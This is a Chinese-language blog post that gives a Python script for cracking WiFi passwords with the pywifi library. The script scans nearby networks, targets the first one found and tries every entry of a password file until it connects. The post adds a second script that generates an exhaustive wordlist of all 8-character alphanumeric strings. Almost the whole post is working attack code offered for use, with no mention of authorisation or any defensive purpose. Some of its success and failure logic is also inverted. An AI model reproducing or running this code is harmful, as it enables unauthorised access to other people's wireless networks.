admin管理员组

文章数量:1574959

原理:

1.获取WiFi网卡

2.扫描WiFi列表

3.根据密码本尝试连接WiFi

代码:

import pywifi
import time
from pywifi import const

#获取WiFi网卡
def get_card():
    wifi = pywifi.PyWiFi()
    card = wifi.interfaces()[0]
    card.disconnect()
    time.sleep(1)
    status = card.status()
    if status not in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:
        print('网卡处于断开状态')
        return False
    return card
#扫描WiFi列表
def scan_wifi(card):
    print('开始扫描附近WiFi.......')
    card.scan()
    time.sleep(3)
    wifi_list = card.scan_results()
    print('数量:',len(wifi_list))

    # 存放wifi名的集合
    wifi_name_set = set()
    for w in wifi_list:
        # 解决乱码问题
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信号排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化输出
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    return wifi_list

#破解指定WiFi密码
def crack_wifi(wifi_ssid,card):
    file_path='file\wps.txt'
    with open(file_path,'r') as password_file:
        for pwd in password_file:
            pwd = pwd.strip()
            if connect_to_wifi(pwd,wifi_ssid,card):
                print('密码正确',pwd)
            else:
                print('密码错误',pwd)
    return None
#连接WiFi状态
def connect_to_wifi(pwd,wifi_ssid,card):
    profile = pywifi.Profile()
    profile.ssid = wifi_ssid
    profile.key = pwd
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP

    card.remove_all_network_profiles()
    tep_profile = card.add_network_profile(profile)

    card.connect(tep_profile)
    time.sleep(2)
    if card.status() == const.IFACE_CONNECTED:
        is_connected = True
    else:
        is_connected = False
    return is_connected



card = get_card()
if not card:
    print('网卡关闭失败')
else:
    wifi_list = scan_wifi(card)
    if not wifi_list:
        print('没有发现附近WiFi')
    else:
        #target_wifi_index = int(input('请选择要破解的WiFi序号:'))-1
        target_wifi_index = 0
        target_wifi_ssid = wifi_list[target_wifi_index].ssid
        print('开始破解', target_wifi_ssid)
        result = crack_wifi(target_wifi_ssid,card)
        if result:
            print('破解失败')
        else:
            print('破解成功')


密码本:只有两个密码用于测试

如果想要全部密码可以使用次代码生成:但是数据量太大(据说是100G左右)不推荐使用

import itertools as its
import datetime

# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'  # 大小写字母 + 数字 组合
# words = '0123456789' # 纯数字
# 生成密码的位数
r = its.product(words, repeat=8)  # 即生成8位密码,正常情况下热点密码位数为8
dic = open(r"C:\Users\Administrator\Desktop\alphabetPass.txt", 'a')  # alphabetPass.txt 是密码本名称
for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))


本文标签: Pythonwifi